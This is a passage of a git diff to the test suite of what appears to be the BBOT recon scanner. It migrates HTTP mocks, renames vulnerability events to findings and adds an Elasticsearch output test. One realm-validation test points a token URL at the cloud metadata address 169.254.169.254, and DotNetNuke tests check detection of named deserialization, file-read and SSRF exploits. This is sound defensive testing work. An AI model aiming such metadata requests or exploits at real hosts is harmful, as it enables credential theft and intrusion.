+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://tlspost.example.com/" for e in events), (
             "Failed to detect third party URL"
         )
 
diff --git a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py
index a452d86864..204ff7a3b9 100644
--- a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py
+++ b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py
@@ -11,7 +11,7 @@ class TestDockerPull(ModuleTestBase):
     config_overrides = {"modules": {"docker_pull": {"output_folder": str(bbot_test_dir / "test_docker_files")}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/users/blacklanternsecurity",
             json={
                 "id": "f90895d9cf484d9182c6dbbef2632329",
@@ -27,7 +27,7 @@ async def setup_before_prep(self, module_test):
                 "type": "User",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1",
             json={
                 "count": 2,
@@ -71,7 +71,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/tags/list",
             json={
                 "errors": [
@@ -94,7 +94,7 @@ async def setup_before_prep(self, module_test):
             },
             status_code=401,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list",
             json={
                 "errors": [
@@ -117,19 +117,19 @@ async def setup_before_prep(self, module_test):
             },
             status_code=401,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://auth.docker.io/token?service=registry.docker.io&scope=blacklanternsecurity/helloworld:pull",
             json={
                 "token": "QWERTYUIOPASDFGHJKLZXCBNM",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://auth.docker.io/token?service=registry.docker.io&scope=blacklanternsecurity/testimage:pull",
             json={
                 "token": "QWERTYUIOPASDFGHJKLZXCBNM",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/tags/list",
             json={
                 "name": "blacklanternsecurity/helloworld",
@@ -139,7 +139,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list",
             json={
                 "name": "blacklanternsecurity/testimage",
@@ -149,7 +149,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/manifests/latest",
             json={
                 "schemaVersion": 2,
@@ -168,7 +168,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/manifests/latest",
             json={
                 "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
@@ -201,7 +201,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:a9910947b74a4f0606cfc8669ae8808d2c328beaee9e79f489dc17df14cd50b1",
             json={
                 "architecture": "amd64",
@@ -376,7 +376,7 @@ async def setup_before_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/manifests/sha256:7c75331408141f1e3ef37eac7c45938fbfb0d421a86201ad45d2ab8b70ddd527",
             json={
                 "name": "testimage",
@@ -422,11 +422,11 @@ async def setup_before_prep(self, module_test):
             tar.addfile(file_info, file_io)
         with open(tar_path, "rb") as file:
             layer_file = file.read()
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/helloworld/blobs/sha256:8a1e25ce7c4f75e372e9884f8f7b1bedcfe4a7a7d452eb4b0a1c7477c9a90345",
             content=layer_file,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/blobs/sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef",
             content=layer_file,
         )
@@ -518,11 +518,11 @@ class TestDockerPullRealmValidation(ModuleTestBase):
     modules_overrides = ["speculate", "dockerhub", "docker_pull"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/users/blacklanternsecurity",
             json={"id": "test", "uuid": "test", "username": "blacklanternsecurity", "type": "User"},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1",
             json={
                 "count": 1,
@@ -539,7 +539,7 @@ async def setup_before_prep(self, module_test):
             },
         )
         # realm points to a non-HTTPS internal address
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list",
             json={"errors": [{"code": "UNAUTHORIZED", "message": "authentication required"}]},
             headers={
@@ -547,7 +547,7 @@ async def setup_before_prep(self, module_test):
             },
             status_code=401,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="http://169.254.169.254/latest/meta-data?service=registry.docker.io&scope=blacklanternsecurity/testimage:pull",
             json={"token": "test_token_value"},
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_dockerhub.py b/bbot/test/test_step_2/module_tests/test_module_dockerhub.py
index 67b75ac6e3..dbc12d6a12 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dockerhub.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dockerhub.py
@@ -5,7 +5,7 @@ class TestDockerhub(ModuleTestBase):
     modules_overrides = ["dockerhub", "speculate"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/users/blacklanternsecurity",
             json={
                 "id": "f90895d9cf484d9182c6dbbef2632329",
@@ -21,7 +21,7 @@ async def setup_before_prep(self, module_test):
                 "type": "User",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1",
             json={
                 "count": 2,
diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py
index 8accc7c300..aee30f5ca7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py
@@ -18,7 +18,7 @@
 
 class TestDotnetnuke(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "dotnetnuke"]
+    modules_overrides = ["http", "dotnetnuke"]
     config_overrides = {"interactsh_disable": "True"}
 
     exploit_probe = {
@@ -46,7 +46,7 @@ class TestDotnetnuke(ModuleTestBase):
 </configuration>
     """
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         # Simulate DotNetNuke Instance
         expect_args = {"method": "GET", "uri": "/"}
         respond_args = {"response_data": dotnetnuke_http_response}
@@ -92,29 +92,26 @@ def check(self, module_test, events):
         dnn_installwizard_privesc_detection = False
 
         for e in events:
-            if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]:
+            if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]:
                 dnn_technology_detection = True
 
-            if (
-                e.type == "VULNERABILITY"
-                and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"]
-            ):
+            if e.type == "FINDING" and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"]:
                 dnn_personalization_deserialization_detection = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "DotNetNuke DNNArticle Module GetCSS.ashx Arbitrary File Read" in e.data["description"]
             ):
                 dnn_getcss_fileread_detection = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "DotNetNuke dnnUI_NewsArticlesSlider Module Arbitrary File Read" in e.data["description"]
             ):
                 dnn_imagehandler_fileread_detection = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "DotNetNuke InstallWizard SuperUser Privilege Escalation" in e.data["description"]
             ):
                 dnn_installwizard_privesc_detection = True
@@ -136,7 +133,10 @@ def extract_subdomain_tag(data):
 class TestDotnetnuke_blindssrf(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
     module_name = "dotnetnuke"
-    modules_overrides = ["httpx", "dotnetnuke"]
+    modules_overrides = ["http", "dotnetnuke"]
+    config_overrides = {
+        "interactsh_disable": False,
+    }
 
     def request_handler(self, request):
         subdomain_tag = None
@@ -147,16 +147,22 @@ def request_handler(self, request):
 
     async def setup_before_prep(self, module_test):
         self.interactsh_mock_instance = module_test.mock_interactsh("dotnetnuke_blindssrf")
-        module_test.monkeypatch.setattr(
-            module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance
-        )
 
-    async def setup_after_prep(self, module_test):
+        # Mock at the helper creation level BEFORE modules are set up
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        # Apply the mock to the core helpers so modules get the mock during setup
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
+
         # Simulate DotNetNuke Instance
         expect_args = {"method": "GET", "uri": "/"}
         respond_args = {"response_data": dotnetnuke_http_response}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
+    async def setup_after_prep(self, module_test):
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -165,10 +171,10 @@ def check(self, module_test, events):
         dnn_dnnimagehandler_blindssrf = False
 
         for e in events:
-            if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]:
+            if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]:
                 dnn_technology_detection = True
 
-            if e.type == "VULNERABILITY" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]:
+            if e.type == "FINDING" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]:
                 dnn_dnnimagehandler_blindssrf = True
 
         assert dnn_technology_detection, "DNN Technology Detection Failed"
diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py
new file mode 100644
index 0000000000..a3bc55b7a2
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py
@@ -0,0 +1,135 @@
+import json
+import time
+import asyncio
+import ssl
+from urllib.request import urlopen, Request
+from urllib.error import URLError
+from base64 import b64encode
+
+from .base import ModuleTestBase
+
+
+def _elastic_request(method, url, body=None):
+    """Make a request to Elasticsearch with basic auth, ignoring SSL verification."""
+    ctx = ssl.create_default_context()
+    ctx.check_hostname = False
+    ctx.verify_mode = ssl.CERT_NONE
+    creds = b64encode(b"elastic:bbotislife").decode()
+    headers = {"Authorization": f"Basic {creds}"}
+    if body is not None:
+        headers["Content-Type"] = "application/json"
+        body = json.dumps(body).encode() if isinstance(body, dict) else body.encode()
+    req = Request(url, data=body, headers=headers, method=method)
+    return urlopen(req, context=ctx)
+
+
+class TestElastic(ModuleTestBase):
+    config_overrides = {
+        "modules": {
+            "elastic": {
+                "url": "https://localhost:9200/bbot_test_events/_doc",
+                "username": "elastic",
+                "password": "bbotislife",
+            }
+        }
+    }
+    skip_distro_tests = True
+
+    async def setup_before_prep(self, module_test):
+        # Start Elasticsearch container
+        await asyncio.create_subprocess_exec(
+            "docker",
+            "run",
+            "--name",
+            "bbot-test-elastic",
+            "--rm",
+            "-e",
+            "ELASTIC_PASSWORD=bbotislife",
+            "-e",
+            "cluster.routing.allocation.disk.watermark.low=96%",
+            "-e",
+            "cluster.routing.allocation.disk.watermark.high=97%",
+            "-e",
+            "cluster.routing.allocation.disk.watermark.flood_stage=98%",
+            "-p",
+            "9200:9200",
+            "-d",
+            "docker.elastic.co/elasticsearch/elasticsearch:8.16.0",
+        )
+
+        # Connect to Elasticsearch with retry logic
+        while True:
+            try:
+                response = _elastic_request("GET", "https://localhost:9200/_cat/health")
+                response.read()
+                break
+            except (URLError, ConnectionError, OSError) as e:
+                self.log.verbose(f"Connection failed: {e}. Retrying...")
+                time.sleep(0.5)
+
+        # Ensure the index is empty
+        try:
+            _elastic_request("DELETE", "https://localhost:9200/bbot_test_events")
+        except URLError:
+            pass  # Index might not exist yet
+
+    async def check(self, module_test, events):
+        try:
+            from bbot.models.pydantic import Event
+
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+
+            # Fetch all events from the index
+            response = _elastic_request("GET", "https://localhost:9200/bbot_test_events/_search?size=100")
+            response_json = json.loads(response.read())
+            db_events = [hit["_source"] for hit in response_json["hits"]["hits"]]
+
+            # make sure we have the same number of events
+            assert len(events_json) == len(db_events)
+
+            for db_event in db_events:
+                assert isinstance(db_event["timestamp"], float)
+                assert isinstance(db_event["inserted_at"], float)
+
+            # Convert to Pydantic objects and dump them
+            db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events]
+            db_events_pydantic.sort(key=lambda x: x["timestamp"])
+
+            # Find the main event with type DNS_NAME and data blacklanternsecurity.com
+            main_event = next(
+                (
+                    e
+                    for e in db_events_pydantic
+                    if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com"
+                ),
+                None,
+            )
+            assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found"
+
+            # Ensure it has the reverse_host attribute
+            expected_reverse_host = "blacklanternsecurity.com"[::-1]
+            assert main_event.get("reverse_host") == expected_reverse_host, (
+                f"reverse_host attribute is not correct, expected {expected_reverse_host}"
+            )
+
+            # Events don't match exactly because the elastic ones have reverse_host and inserted_at
+            assert events_json != db_events_pydantic
+            for db_event in db_events_pydantic:
+                db_event.pop("reverse_host", None)
+                db_event.pop("inserted_at", None)
+                db_event.pop("archived", None)
+            # They should match after removing reverse_host
+            assert events_json == db_events_pydantic, "Events do not match"
+
+        finally:
+            # Clean up: Delete all documents in the index
+            try:
+                _elastic_request("DELETE", "https://localhost:9200/bbot_test_events?ignore=400,404")
+            except URLError:
+                pass
+            self.log.verbose("Deleted documents from index")
+            process = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await process.communicate()
diff --git a/bbot/test/test_step_2/module_tests/test_module_emailformat.py b/bbot/test/test_step_2/module_tests/test_module_emailformat.py
index 4f3189f516..66828991d6 100644
--- a/bbot/test/test_step_2/module_tests/test_module_emailformat.py
+++ b/bbot/test/test_step_2/module_tests/test_module_emailformat.py
@@ -3,7 +3,7 @@
 
 class TestEmailFormat(ModuleTestBase):
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.email-format.com/d/blacklanternsecurity.com/",
             text="""<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0a63646c654a68666b6961666b647e6f7864796f697f78637e7324696567">[email&#160;protected]</a>""",
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_emails.py b/bbot/test/test_step_2/module_tests/test_module_emails.py
index 820b5a15f1..88d40f938a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_emails.py
+++ b/bbot/test/test_step_2/module_tests/test_module_emails.py
@@ -5,11 +5,11 @@ class TestEmails(ModuleTestBase):
     modules_overrides = ["emails", "emailformat", "skymem"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.email-format.com/d/blacklanternsecurity.com/",
             text="""<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0a63646c654a68666b6961666b647e6f7864796f697f78637e7324696567">[email&#160;protected]</a>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.skymem.info/srch?q=blacklanternsecurity.com",
             text="<p>info@blacklanternsecurity.com</p>",
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py
index 2abfec2414..9d05e0c49d 100644
--- a/bbot/test/test_step_2/module_tests/test_module_excavate.py
+++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py
@@ -5,13 +5,14 @@
 from bbot.modules.internal.excavate import ExcavateRule
 
 from pathlib import Path
+import time
 import yara
 
 
 class TestExcavate(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/links.html"]
-    modules_overrides = ["excavate", "httpx"]
-    config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}}
+    modules_overrides = ["excavate", "http"]
+    config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}, "omit_event_types": []}
 
     async def setup_before_prep(self, module_test):
         response_data = """
@@ -28,7 +29,7 @@ async def setup_before_prep(self, module_test):
         <link href="/link_relative.txt">
         <a href="mailto:bob@evilcorp.org?subject=help">Help</a>
         <li class="toctree-l3"><a class="reference internal" href="miscellaneous.html#x50-uart-driver">16x50 UART Driver</a></li>
-        # these ones should get emitted as URL_UNVERIFIED events (processed by httpx which has accept_js_url=True)
+        # these ones should get emitted as URL_UNVERIFIED events (processed by http module which has accept_js_url=True)
         <a href="/a_relative.js">
         <link href="/link_relative.js">
         """
@@ -64,7 +65,7 @@ async def handle_event(self, event):
         module_test.scan.modules["dummy_module"] = DummyModule(module_test.scan)
 
     def check(self, module_test, events):
-        event_data = [e.data for e in events]
+        event_data = [e.pretty_string for e in events]
         assert "https://www1.test.notreal/" in event_data
         assert "https://www2.test.notreal/" in event_data
         assert "https://www3.test.notreal/" in event_data
@@ -77,13 +78,13 @@ def check(self, module_test, events):
         assert "www6.test.notreal" in event_data
         assert "www7.test.notreal" in event_data
         assert "www8.test.notreal" in event_data
-        # .js files should be emitted as URL_UNVERIFIED events (they are processed by httpx which has accept_js_url=True)
+        # .js files should be emitted as URL_UNVERIFIED events (they are processed by http module which has accept_js_url=True)
         # they are seen by internal modules but not by output modules
         assert "http://127.0.0.1:8888/a_relative.js" not in event_data
         assert "http://127.0.0.1:8888/link_relative.js" not in event_data
         assert "http://127.0.0.1:8888/a_relative.txt" in event_data
         assert "http://127.0.0.1:8888/link_relative.txt" in event_data
-        dummy_module_event_data = [e.data for e in module_test.scan.modules["dummy_module"].events_seen]
+        dummy_module_event_data = [e.pretty_string for e in module_test.scan.modules["dummy_module"].events_seen]
         assert "http://127.0.0.1:8888/a_relative.js" in dummy_module_event_data
         assert "http://127.0.0.1:8888/link_relative.js" in dummy_module_event_data
         assert "http://127.0.0.1:8888/a_relative.txt" in dummy_module_event_data
@@ -107,7 +108,7 @@ def check(self, module_test, events):
 
         assert any(
             e.type == "URL_UNVERIFIED"
-            and e.data == "http://127.0.0.1:8888/relative.html"
+            and e.url == "http://127.0.0.1:8888/relative.html"
             and "spider-max" not in e.tags
             and "endpoint" in e.tags
             and "extension-html" in e.tags
@@ -117,17 +118,17 @@ def check(self, module_test, events):
         )
 
         assert any(
-            e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/2/depth2.html" and "spider-max" in e.tags
+            e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/2/depth2.html" and "spider-max" in e.tags
             for e in events
         )
 
         assert any(
-            e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/distance2.html" and "spider-max" in e.tags
+            e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/distance2.html" and "spider-max" in e.tags
             for e in events
         )
 
         assert any(
-            e.type == "URL_UNVERIFIED" and "miscellaneous.html" in e.data and "x50-uart-driver" not in e.data
+            e.type == "URL_UNVERIFIED" and "miscellaneous.html" in e.url and "x50-uart-driver" not in e.url
             for e in events
         )
 
@@ -168,17 +169,17 @@ def check(self, module_test, events):
         for e in events:
             if e.type == "URL_UNVERIFIED":
                 # these cases represent the desired behavior for parsing relative links
-                if e.data == "http://127.0.0.1:8888/rootrelative.html":
+                if e.url == "http://127.0.0.1:8888/rootrelative.html":
                     root_relative_detection = True
-                if e.data == "http://127.0.0.1:8888/subdir/pagerelative1.html":
+                if e.url == "http://127.0.0.1:8888/subdir/pagerelative1.html":
                     page_relative_detection_1 = True
-                if e.data == "http://127.0.0.1:8888/subdir/pagerelative2.html":
+                if e.url == "http://127.0.0.1:8888/subdir/pagerelative2.html":
                     page_relative_detection_2 = True
 
                 # these cases indicates that excavate parsed the relative links incorrectly
-                if e.data == "http://127.0.0.1:8888/pagerelative.html":
+                if e.url == "http://127.0.0.1:8888/pagerelative.html":
                     root_page_confusion_1 = True
-                if e.data == "http://127.0.0.1:8888/subdir/rootrelative.html":
+                if e.url == "http://127.0.0.1:8888/subdir/rootrelative.html":
                     root_page_confusion_2 = True
 
         assert root_relative_detection, "Failed to properly excavate root-relative URL"
@@ -190,7 +191,7 @@ def check(self, module_test, events):
 
 class TestExcavateInScopeJavascript(TestExcavate):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["excavate", "httpx", "badsecrets"]
+    modules_overrides = ["excavate", "http", "badsecrets"]
 
     async def setup_before_prep(self, module_test):
         module_test.httpserver.expect_request("/").respond_with_data(
@@ -202,7 +203,7 @@ async def setup_before_prep(self, module_test):
 
     def check(self, module_test, events):
         found_js_url_event = bool(
-            [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/script.js"]
+            [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/script.js"]
         )
         found_excavate_jwt_finding = bool(
             [
@@ -211,18 +212,16 @@ def check(self, module_test, events):
                 if e.type == "FINDING" and "JWT" in e.data["description"] and str(e.module) == "excavate"
             ]
         )
-        found_badsecrets_vulnerability = bool(
-            [e for e in events if e.type == "VULNERABILITY" and str(e.module) == "badsecrets"]
-        )
+        found_badsecrets_finding = bool([e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"])
 
         assert found_js_url_event, "Failed to find URL event for script.js"
-        assert found_badsecrets_vulnerability, "Failed to find BADSECRETs event from script.js"
+        assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js"
         assert found_excavate_jwt_finding, "Excavate should still emit JWT findings even when badsecrets is enabled"
 
 
 class TestExcavateRedirect(TestExcavate):
     targets = ["http://127.0.0.1:8888/", "http://127.0.0.1:8888/relative/", "http://127.0.0.1:8888/nonhttpredirect/"]
-    config_overrides = {"scope": {"report_distance": 1}}
+    config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []}
 
     async def setup_before_prep(self, module_test):
         # absolute redirect
@@ -245,10 +244,10 @@ def check(self, module_test, events):
             [
                 e
                 for e in events
-                if e.type == "URL_UNVERIFIED" and e.data == "https://www.test.notreal/yep" and e.scope_distance == 1
+                if e.type == "URL_UNVERIFIED" and e.url == "https://www.test.notreal/yep" and e.scope_distance == 1
             ]
         )
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/relative/owa/"])
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/relative/owa/"])
         assert 1 == len(
             [
                 e
@@ -289,7 +288,7 @@ def check(self, module_test, events):
 
 class TestExcavateQuerystringRemoveTrue(TestExcavate):
     targets = ["http://127.0.0.1:8888/"]
-    config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True}
+    config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True, "omit_event_types": []}
     lots_of_params = """
     <a href="http://127.0.0.1:8888/endpoint?foo=1"/>
     <a href="http://127.0.0.1:8888/endpoint?foo=2"/>
@@ -309,12 +308,12 @@ async def setup_before_prep(self, module_test):
     def check(self, module_test, events):
         assert len([e for e in events if e.type == "URL_UNVERIFIED"]) == 2
         assert (
-            len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/endpoint"]) == 1
+            len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/endpoint"]) == 1
         )
 
 
 class TestExcavateQuerystringRemoveFalse(TestExcavateQuerystringRemoveTrue):
-    config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True}
+    config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True, "omit_event_types": []}
 
     def check(self, module_test, events):
         assert (
@@ -322,7 +321,7 @@ def check(self, module_test, events):
                 [
                     e
                     for e in events
-                    if e.type == "URL_UNVERIFIED" and e.data.startswith("http://127.0.0.1:8888/endpoint?")
+                    if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?")
                 ]
             )
             == 1
@@ -330,7 +329,7 @@ def check(self, module_test, events):
 
 
 class TestExcavateQuerystringCollapseFalse(TestExcavateQuerystringRemoveTrue):
-    config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False}
+    config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False, "omit_event_types": []}
 
     def check(self, module_test, events):
         assert (
@@ -338,7 +337,7 @@ def check(self, module_test, events):
                 [
                     e
                     for e in events
-                    if e.type == "URL_UNVERIFIED" and e.data.startswith("http://127.0.0.1:8888/endpoint?")
+                    if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?")
                 ]
             )
             == 10
@@ -347,7 +346,7 @@ def check(self, module_test, events):
 
 class TestExcavateMaxLinksPerPage(TestExcavate):
     targets = ["http://127.0.0.1:8888/"]
-    config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}}
+    config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}, "omit_event_types": []}
 
     lots_of_links = """
     <a href="http://127.0.0.1:8888/1"/>
@@ -384,7 +383,9 @@ def check(self, module_test, events):
         url_unverified_events = [e for e in events if e.type == "URL_UNVERIFIED"]
         # base URL + 25 links = 26
         assert len(url_unverified_events) == 26
-        url_data = [e.data for e in url_unverified_events if "spider-max" not in e.tags and "spider-danger" in e.tags]
+        url_data = [
+            e.pretty_string for e in url_unverified_events if "spider-max" not in e.tags and "spider-danger" in e.tags
+        ]
         assert len(url_data) >= 10 and len(url_data) <= 12
         url_events = [e for e in events if e.type == "URL"]
         assert len(url_events) == 11
@@ -410,7 +411,7 @@ async def setup_before_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "asdffoo.test.notreal" for e in events)
-        assert any(e.data == "https://asdffoo.test.notreal/some/path" for e in events)
+        assert any(e.url == "https://asdffoo.test.notreal/some/path" for e in events)
 
 
 class TestExcavateURL_IP(TestExcavate):
@@ -421,7 +422,7 @@ async def setup_before_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "127.0.0.2" for e in events)
-        assert any(e.data == "https://127.0.0.2/some/path" for e in events)
+        assert any(e.url == "https://127.0.0.2/some/path" for e in events)
 
 
 class TestExcavateSerializationNegative(TestExcavate):
@@ -473,6 +474,8 @@ class TestExcavateNonHttpScheme(TestExcavate):
     <p>hxxp://test.notreal</p>
     <p>ftp://test.notreal</p>
     <p>nonsense://test.notreal</p>
+    <p>ws://test.notreal</p>
+    <p>wss://test.notreal</p>
     </body>
     </html>
     """
@@ -484,6 +487,9 @@ def check(self, module_test, events):
         found_hxxp_url = False
         found_ftp_url = False
         found_nonsense_url = False
+        found_ws_finding = False
+        found_ws_url = False
+        found_wss_url = False
 
         for e in events:
             if e.type == "FINDING":
@@ -493,14 +499,24 @@ def check(self, module_test, events):
                     found_ftp_url = True
                 if "nonsense" in e.data["description"]:
                     found_nonsense_url = True
+                if "ws://" in e.data.get("description", "") or "wss://" in e.data.get("description", ""):
+                    found_ws_finding = True
+            if e.type == "URL_UNVERIFIED":
+                if e.data.get("url", "") == "http://test.notreal/":
+                    found_ws_url = True
+                if e.data.get("url", "") == "https://test.notreal/":
+                    found_wss_url = True
         assert found_hxxp_url
         assert found_ftp_url
         assert not found_nonsense_url
+        assert not found_ws_finding, "ws:// should not produce a FINDING"
+        assert found_ws_url, "ws:// should be converted to http:// URL_UNVERIFIED"
+        assert found_wss_url, "wss:// should be converted to https:// URL_UNVERIFIED"
 
 
 class TestExcavateParameterExtraction(TestExcavate):
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["excavate", "httpx", "hunt"]
+    modules_overrides = ["excavate", "http", "hunt"]
     targets = ["http://127.0.0.1:8888/"]
     parameter_extraction_html = """
     <html>
@@ -643,11 +659,103 @@ def check(self, module_test, events):
         assert found_form_post_additional_params, "Did not extract additional parameters from POST form"
 
 
+class TestExcavateSelectTagSelection(ModuleTestBase):
+    """Verify <select> option-value selection logic.
+
+    1. selected_nonfirst -- a non-first option carries `selected` -> we pick it (not the first option)
+    2. first_empty -- first option is empty, no selected -> we keep the empty first value
+       (filter-style forms often use a blank default that matches all results; substituting
+       a specific choice could narrow output to nothing)
